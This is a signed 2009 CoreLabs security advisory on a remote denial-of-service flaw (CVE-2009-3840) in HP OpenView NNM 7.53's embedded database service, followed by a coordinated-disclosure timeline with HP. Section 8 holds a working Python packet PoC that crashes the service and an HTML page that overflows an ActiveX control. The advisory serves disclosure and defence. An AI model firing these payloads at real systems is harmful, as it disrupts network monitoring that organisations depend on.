466 lines
No EOL
17 KiB
Text
466 lines
No EOL
17 KiB
Text
-----BEGIN PGP SIGNED MESSAGE-----
|
|
Hash: SHA1
|
|
|
|
Core Security Technologies - CoreLabs Advisory
|
|
http://www.coresecurity.com/corelabs/
|
|
|
|
HP Openview NNM 7.53 Invalid DB Error Code vulnerability
|
|
|
|
|
|
|
|
1. *Advisory Information*
|
|
|
|
Title: HP Openview NNM 7.53 Invalid DB Error Code vulnerability
|
|
Advisory Id: CORE-2009-0814
|
|
Advisory URL:
|
|
http://www.coresecurity.com/content/openview_nnm_internaldb_dos
|
|
Date published: 2009-11-17
|
|
Date of last update: 2009-11-17
|
|
Vendors contacted: HP
|
|
Release mode: Coordinated release
|
|
|
|
|
|
2. *Vulnerability Information*
|
|
|
|
Class: External Initialization of Trusted Variables [CWE-454]
|
|
Impact: Denial of Service
|
|
Remotely Exploitable: Yes
|
|
Locally Exploitable: No
|
|
Bugtraq ID: N/A
|
|
CVE Name: CVE-2009-3840
|
|
|
|
|
|
3. *Vulnerability Description*
|
|
|
|
HP Openview Network Node Manager is one of the most widely-deployed
|
|
network monitoring and management platforms used throughout enterprise
|
|
organizations today. The platform includes many server and client-side
|
|
core components with a long list of previously disclosed security bugs.
|
|
In this case, a remotely exploitable vulnerability was found in the
|
|
database server core component used by NNM. Exploitation of the bug does
|
|
not require authentication and will lead to a remotely triggered denial
|
|
of service of the internal database service.
|
|
|
|
|
|
4. *Vulnerable packages*
|
|
|
|
. HP Openview NNM 7.53
|
|
|
|
Other versions may be vulnerable but were not tested. Refer to the
|
|
vendor's security bulletin for a full list.
|
|
|
|
|
|
5. *Non-vulnerable packages*
|
|
|
|
Refer to the vendor's security bulletin.
|
|
|
|
|
|
6. *Vendor Information, Solutions and Workarounds*
|
|
|
|
The vendor issued security bulletin HPSBMA02477 SSRT090177 to address
|
|
the problem and provide fixes. It is available at
|
|
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01926980
|
|
|
|
The database service of HP Openview Network Node Manager is remotely
|
|
accessible on port 2690/tcp. Restricting or blocking access to that port
|
|
will prevent exploitation but may prevent normal operation of Openview NNM.
|
|
|
|
|
|
7. *Credits*
|
|
|
|
This vulnerability was discovered and researched by Damian Frizza from
|
|
Core Security Technologies.
|
|
|
|
|
|
8. *Technical Description / Proof of Concept Code*
|
|
|
|
|
|
8.1. *HP Openview NNM 7.53 Embedded DB Remote Denial Of Service*
|
|
|
|
HP Openview Network Node Manager includes an embedded database engine
|
|
service that is enabled by default and accepts remote connections on
|
|
port 2690/tcp. The service is implemented by the 'ovdbrun.exe' which is
|
|
started automatically on boot. For certain transactions upon receiving a
|
|
packet from the network the service will attempt to determine and
|
|
display an error code string based on an error code number specified in
|
|
the packet. By sending a specifically crafted packet with an invalid
|
|
error code number it is possible to remotely trigger an exception that
|
|
forces abnormal termination of the service. It is unlikely that the bug
|
|
could be exploited for anything other than a remote denial of service.
|
|
|
|
The following code excerpt explains the problem:
|
|
|
|
/-----
|
|
005FED51 MOVZX EDX,BYTE PTR SS:[ESP+2] #FCFF
|
|
005FED56 MOVSX ECX,WORD PTR SS:[ESP+3]
|
|
005FED5B CMP ECX,-1
|
|
005FED5E MOVSX EAX,WORD PTR SS:[ESP+5] #FCFF
|
|
005FED63 MOV DWORD PTR DS:[ESI+10],EDX
|
|
005FED66 MOV EDX,DWORD PTR SS:[ESP+7]
|
|
005FED6A MOV DWORD PTR DS:[ESI+14],ECX
|
|
005FED6D MOV DWORD PTR DS:[ESI+18],EAX
|
|
005FED70 MOV DWORD PTR DS:[ESI+C],EDX
|
|
005FED73 JGE SHORT ovdbrun.005FED7E
|
|
005FED75 CMP EAX,-1
|
|
005FED78 JGE SHORT ovdbrun.005FED7E
|
|
005FED7A CMP ECX,EAX
|
|
005FED7C JE SHORT ovdbrun.005FED83
|
|
005FED7E MOV EAX,1
|
|
005FED83 ADD ESP,0C
|
|
005FED86 RETN
|
|
|
|
- -----/
|
|
|
|
The code above checks for an error condition based on the value of an
|
|
Error Code field in the inbound network packet. An error condition is
|
|
explicitly handled if the Error Code value is less or equal than -1 in
|
|
which case a MessageBox with a corresponding descriptive error string
|
|
will be presented to the user. However by crafting a packet with any
|
|
negative value in the Error Code field different that -1 the lookup for
|
|
the corresponding error string will fail triggering a non-recoverable
|
|
error and thus terminating the server process.
|
|
|
|
The following python code can be used to reproduce the bug:
|
|
|
|
/-----
|
|
#!python
|
|
import socket
|
|
import struct
|
|
|
|
a = struct.pack('<b', 2)
|
|
a += struct.pack('<H', 0)
|
|
a += struct.pack('<H',0xFEFF)
|
|
a += struct.pack('<H',0xFEFF)
|
|
a += "1234"
|
|
|
|
target_ip = 'X.X.X.X'
|
|
|
|
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect ((target_ip, 2690))
|
|
|
|
s.send(a)
|
|
s.close()
|
|
|
|
- -----/
|
|
|
|
|
|
|
|
8.2. *Additional information: Low severity bugs in ActiveDom.ocx ActiveX*
|
|
|
|
The ActiveX control 'ActiveDom.ocx' is shipped with HP Openview NNM 7.53
|
|
and installed by default. The control is prone to multiple memory
|
|
corruption bugs due to erroneous handling of overly long strings passed
|
|
to multiple methods. These bugs are considered of low severity because
|
|
the control is not configured as Safe for Scripting or Safe for
|
|
Initialization [1] and therefore cannot be exploited without explicit
|
|
user consent. Since the control was reported by the vendor as not used
|
|
nor required by any component of OpenView NNM, finding deployed systems
|
|
with security configuration settings changed to allow exploitation of
|
|
these bugs is very unlikely. Nonetheless information about them is
|
|
included below for the purpose of completeness in the documentation of
|
|
this advisory.
|
|
|
|
Some of the ActiveX control's methods with implementation flaws are:
|
|
|
|
/-----
|
|
DisplayName(str)
|
|
AddGroup(str)
|
|
InstallComponent(str)
|
|
Subscribe(str, str, int)
|
|
|
|
- -----/
|
|
|
|
The following excerpt from method DisplayName() demonstrates the problem:
|
|
|
|
/-----
|
|
2000D408 MOV DWORD PTR SS:[EBP-4],-1
|
|
2000D40F JMP SHORT ACTIVE~1.2000D3D6
|
|
2000D411 MOV EAX,ACTIVE~1.200361A0
|
|
2000D416 JMP <JMP.&MSVCRT.__CxxFrameHandler>
|
|
2000D41B MOV EAX,ACTIVE~1.2000D4A8
|
|
2000D420 CALL <JMP.&MSVCRT._EH_prolog>
|
|
2000D425 SUB ESP,10
|
|
2000D428 PUSH EBX
|
|
2000D429 PUSH ESI
|
|
2000D42A PUSH EDI
|
|
2000D42B MOV DWORD PTR SS:[EBP-10],ESP
|
|
2000D42E MOV DWORD PTR SS:[EBP-14],ECX
|
|
2000D431 XOR EBX,EBX
|
|
2000D433 MOV DWORD PTR SS:[EBP-4],EBX
|
|
2000D436 LEA ESI,DWORD PTR DS:[ECX+28]
|
|
2000D439 MOV ECX,DWORD PTR DS:[ESI] ; ESI = 00038178
|
|
2000D43B MOV EAX,DWORD PTR DS:[ECX] ;
|
|
2000D43D CALL DWORD PTR DS:[EAX+48] ;
|
|
|
|
- -----/
|
|
|
|
The following HTML code can be used to trigger the bug:
|
|
|
|
/-----
|
|
<html>
|
|
<object classid='clsid:A801FD2B-6FA8-11D0-BB85-00AA00A7EAAE' id='target'
|
|
|
|
</object>
|
|
|
|
<script>
|
|
a = ""
|
|
for (i = 0; i < 10000; i++)
|
|
a = a + "A"
|
|
target.DisplayName(a)
|
|
</script>
|
|
</html>
|
|
|
|
|
|
- -----/
|
|
|
|
|
|
|
|
9. *Report Timeline*
|
|
|
|
. 2009-08-12:
|
|
Core Security Technologies notifies the HP Software Security Response
|
|
Team (SSRT) of the vulnerability and preliminary schedule to publish the
|
|
corresponding security advisory on September 8th 2009. Core asks for
|
|
acknowledgement of the email within 2 working days and whether HP SSRT
|
|
prefers to receive the technical description of the bug encrypted or in
|
|
plaintext.
|
|
|
|
. 2009-08-12:
|
|
HP SSRT asks Core to send the technical description of the vulnerability
|
|
encrypted using the PGP key with id 0x08B83D45.
|
|
|
|
. 2009-08-14:
|
|
Core Security Technologies sends technical details encrypted to HP SSRT.
|
|
|
|
. 2009-08-18:
|
|
HP SSRT informs Core that HP engineering have been notified and will
|
|
notify Core when they have a schedule estimate. SSRT assigned the IDs
|
|
SSRT090177 and SSRT090178 to the vulnerabilities reported by Core.
|
|
|
|
. 2009-08-27:
|
|
Core requests a status update from HP SSRT.
|
|
|
|
. 2009-08-27:
|
|
HP SSRT informs Core that the vulnerabilities are in third-party code
|
|
and that the third-party vendor has been notified but there isn't a
|
|
schedule for fixes yet. HP SSRT indicates that it is sure HP will not
|
|
have a solution ready by September 7th.
|
|
|
|
. 2009-08-27:
|
|
Core informs the HP team that the publication was re-scheduled to
|
|
September 21st and requests an update to continue coordinating the
|
|
release of fixes and publication of the advisory as soon as possible.
|
|
|
|
. 2009-08-28:
|
|
The HP team informs Core that the third party if planning a release on
|
|
October 30th for the first vulnerability. SSRT also notes that ActiveX
|
|
vulnerabilities are still being investigated.
|
|
|
|
. 2009-08-31:
|
|
Core Security Technologies acknowledges the information sent by HP SSRT.
|
|
|
|
. 2009-09-01:
|
|
The HP team communicates that they will inform Core Security
|
|
Technologies when the fix is available.
|
|
|
|
. 2009-09-04:
|
|
Core asks the HP SSRT to map HP's internal IDs to each of the reported
|
|
vulnerability.
|
|
|
|
. 2009-09-04:
|
|
The HP SSRT indicates that SSRT090177 corresponds to the embedded
|
|
database vulnerability and SSRT090178 to the ActiveX bugs.
|
|
|
|
. 2009-09-10:
|
|
Core Security Technologies notifies HP SSRT that publication of the
|
|
advisory has been re-scheduled to October 30th to be able to coordinate
|
|
the release with the issuance of fixes by the third party vendor and
|
|
that if non-third-party vulnerabilities (the ActiveX bugs) could be
|
|
fixed earlier they would be described in a separate advisory.
|
|
|
|
. 2009-09-11:
|
|
HP SSRT says that it will send any new information to Core on the
|
|
ActiveX bugs if they have something to publish before October 30th.
|
|
|
|
. 2009-09-21:
|
|
The HP team informs Core that they are having some problems reproducing
|
|
the ActiveX vulnerabilities reported. The NNM engineers have used the
|
|
provided proof-of-concept exploit but did not see any effect. SSRT asks
|
|
if an overflow was confirmed, if process failure was detected and if a
|
|
debugger or a different procedure was used.
|
|
|
|
. 2009-09-21:
|
|
Core Security Technologies notifies the HP SSRT that the proof of
|
|
concept crash can be observed using a classic debugger or a just-in-time
|
|
debugger that is attached only after an abnormal exception is detected.
|
|
Core also sends HP SSRT another proof of concept HTML code that crashes
|
|
the ActiveX and can be observed without the need of a debugger.
|
|
|
|
. 2009-09-22:
|
|
The HP team acknowledges previous email from Core with the new PoC to
|
|
reproduce the crashes without a debugger.
|
|
|
|
. 2009-10-06:
|
|
Core requests a status update from the SSRT noting that it hasn't
|
|
received any update since September 22nd. The advisory is still
|
|
scheduled for publication on October 30th and Core is waiting for
|
|
confirmation that the ActiveX bugs were reproduced and the fix for them
|
|
could be published earlier separately.
|
|
|
|
. 2009-10-09:
|
|
SSRT updates indicating that fixes from the third party for SSRT090177
|
|
have been received and HP is currently in the process of testing them on
|
|
all platforms expecting an update by October 16th. The ActiveX bugs have
|
|
been reproduced and HP determined that the vulnerable control is not
|
|
necessary for NNM. HP will recommend customers to set the kill bit for
|
|
the control (clsid:A801FD2B-6FA8-11D0-BB85-00AA00A7EAAE) as workaround.
|
|
|
|
. 2009-10-19:
|
|
Core requests a status update and confirmation that HP will be ready to
|
|
release fixes by October 30th. Core asks if fixes will be issued for all
|
|
vulnerable versions of NNM, whether the fixes or patches will remove the
|
|
unnecessary ActiveX control or just ask customers to implement the
|
|
workaround. Core requests the complete lists of vulnerable versions and
|
|
platforms of NNM and asks if the patches will include fixes to other
|
|
bugs. Also, Core notes that the vendor of the third party component has
|
|
been identified and that since the bug may affect other products Core
|
|
will start a separate vulnerability report process directly with that
|
|
vendor.
|
|
|
|
. 2009-11-02:
|
|
Email from Core asking for a status update and an acknowledgement and
|
|
response to the questions from the previous email. Core notes that the
|
|
previously agreed publication date for the advisory has already passed
|
|
without any update from HP. The publication date has been unilaterally
|
|
moved to Wednesday November 4th. 2009 and is considered final pending a
|
|
response from HP.
|
|
|
|
. 2009-11-03:
|
|
Response from HP SSRT stating that there is not an estimated release
|
|
date for patches to some platforms. With regards to the ActiveX bugs, a
|
|
security bulletin will be published on November 9th recommending setting
|
|
the kill bit.
|
|
|
|
. 2009-11-03:
|
|
Core indicates that since there isn't an estimated patch release date
|
|
for missing platforms the advisory will be published on November 9th and
|
|
will include guidance on how to implement workarounds for both problems.
|
|
Core asks SSRT about the potential impact of blocking or restricting
|
|
access to the vulnerable service as a workaround.
|
|
|
|
. 2009-11-05:
|
|
SSRT suggests that given that Core advisory will be published earlier
|
|
than HP's security bulletin it should have workarounds for all platforms
|
|
and not just for the ones that may not have a patch available
|
|
afterwards. HP is still investigating the impact of blocking or
|
|
restricting access to the vulnerable port. SSRT asks if Core wants any
|
|
acknowledgement in its security bulletin
|
|
|
|
. 2009-11-05:
|
|
Core asks what is the planned publication date for HP's bulletin and
|
|
requests that the bulletin credits the discoverer (Damian Frizza).
|
|
Provided that the estimated date for publishing the bulletin is not
|
|
unreasonable Core would rather schedule the publication of the advisory
|
|
to match HP's.
|
|
|
|
. 2009-11-06:
|
|
SSRT informs that their estimate is to have hotfixes available
|
|
internally by November 13th and released along with the corresponding
|
|
security bulletins by November 17th. SSRT ask whether CVE numbers should
|
|
be assigned by HP or provided by Core.
|
|
|
|
. 2009-11-06:
|
|
Core re-schedules publication to November 17th. Core asks SSRT to assign
|
|
the CVE numbers.
|
|
|
|
. 2009-11-12:
|
|
HP SSRT reports that the ActiveX control is not marked as safe for
|
|
scripting or safe for initialization by default and thus the buffer
|
|
overflows in its methods do not seem to be security issues. Asks if Core
|
|
still considers them security vulnerabilities.
|
|
|
|
. 2009-11-16:
|
|
HP SSRT provides the CVE id assigned to the denial of service bug.
|
|
Indicates that the vendor's security bulletin will not suggest any
|
|
workarounds as the effect of blocking or restricting access to the
|
|
vulnerable service has not been determined.
|
|
|
|
. 2009-11-16:
|
|
Core confirms that the ActiveX control is not marked as safe for
|
|
scripting or initialization which greatly diminishes the relevance of
|
|
the reported bugs. Nonetheless, the information about the bugs will be
|
|
included in the advisory for the purpose of completeness and to let
|
|
users verify, and if necessary correct, the control's configuration
|
|
settings. Core still recommends the vendor to remove the unnecessary
|
|
control from installation packages and fix the reported bugs to avoid
|
|
potential introduction of flaws if it becomes a used control in the
|
|
future or should an alternative exploitation vector be found.
|
|
|
|
. 2009-11-17:
|
|
Publication of HP Security Bulletin SSRT090177.
|
|
|
|
. 2009-11-17:
|
|
Advisory CORE-2009-0814 published.
|
|
|
|
|
|
|
|
10. *References*
|
|
|
|
[1] Safe Initialization and Scripting for ActiveX Controls.
|
|
http://msdn.microsoft.com/en-us/library/aa751977(VS.85).aspx
|
|
[2] How to stop an ActiveX control from running in Internet Explorer.
|
|
http://support.microsoft.com/kb/240797
|
|
|
|
|
|
11. *About CoreLabs*
|
|
|
|
CoreLabs, the research center of Core Security Technologies, is charged
|
|
with anticipating the future needs and requirements for information
|
|
security technologies. We conduct our research in several important
|
|
areas of computer security including system vulnerabilities, cyber
|
|
attack planning and simulation, source code auditing, and cryptography.
|
|
Our results include problem formalization, identification of
|
|
vulnerabilities, novel solutions and prototypes for new technologies.
|
|
CoreLabs regularly publishes security advisories, technical papers,
|
|
project information and shared software tools for public use at:
|
|
http://www.coresecurity.com/corelabs.
|
|
|
|
|
|
12. *About Core Security Technologies*
|
|
|
|
Core Security Technologies develops strategic solutions that help
|
|
security-conscious organizations worldwide develop and maintain a
|
|
proactive process for securing their networks. The company's flagship
|
|
product, CORE IMPACT, is the most comprehensive product for performing
|
|
enterprise security assurance testing. CORE IMPACT evaluates network,
|
|
endpoint and end-user vulnerabilities and identifies what resources are
|
|
exposed. It enables organizations to determine if current security
|
|
investments are detecting and preventing attacks. Core Security
|
|
Technologies augments its leading technology solution with world-class
|
|
security consulting services, including penetration testing and software
|
|
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
|
|
Security Technologies can be reached at 617-399-6980 or on the Web at
|
|
http://www.coresecurity.com.
|
|
|
|
|
|
13. *Disclaimer*
|
|
|
|
The contents of this advisory are copyright (c) 2009 Core Security
|
|
Technologies and (c) 2009 CoreLabs, and may be distributed freely
|
|
provided that no fee is charged for this distribution and proper credit
|
|
is given.
|
|
|
|
|
|
14. *PGP/GPG Keys*
|
|
|
|
This advisory has been signed with the GPG key of Core Security
|
|
Technologies advisories team, which is available for download at
|
|
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
|
|
-----BEGIN PGP SIGNATURE-----
|
|
Version: GnuPG v1.4.8 (MingW32)
|
|
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
|
|
|
|
iEYEARECAAYFAksDICYACgkQyNibggitWa2//ACdFpN6SK4B59Iza5Nq88oASfat
|
|
YhoAn24UcNlJ/lpKv4brl4d6mctKfwMF
|
|
=cR49
|
|
-----END PGP SIGNATURE----- |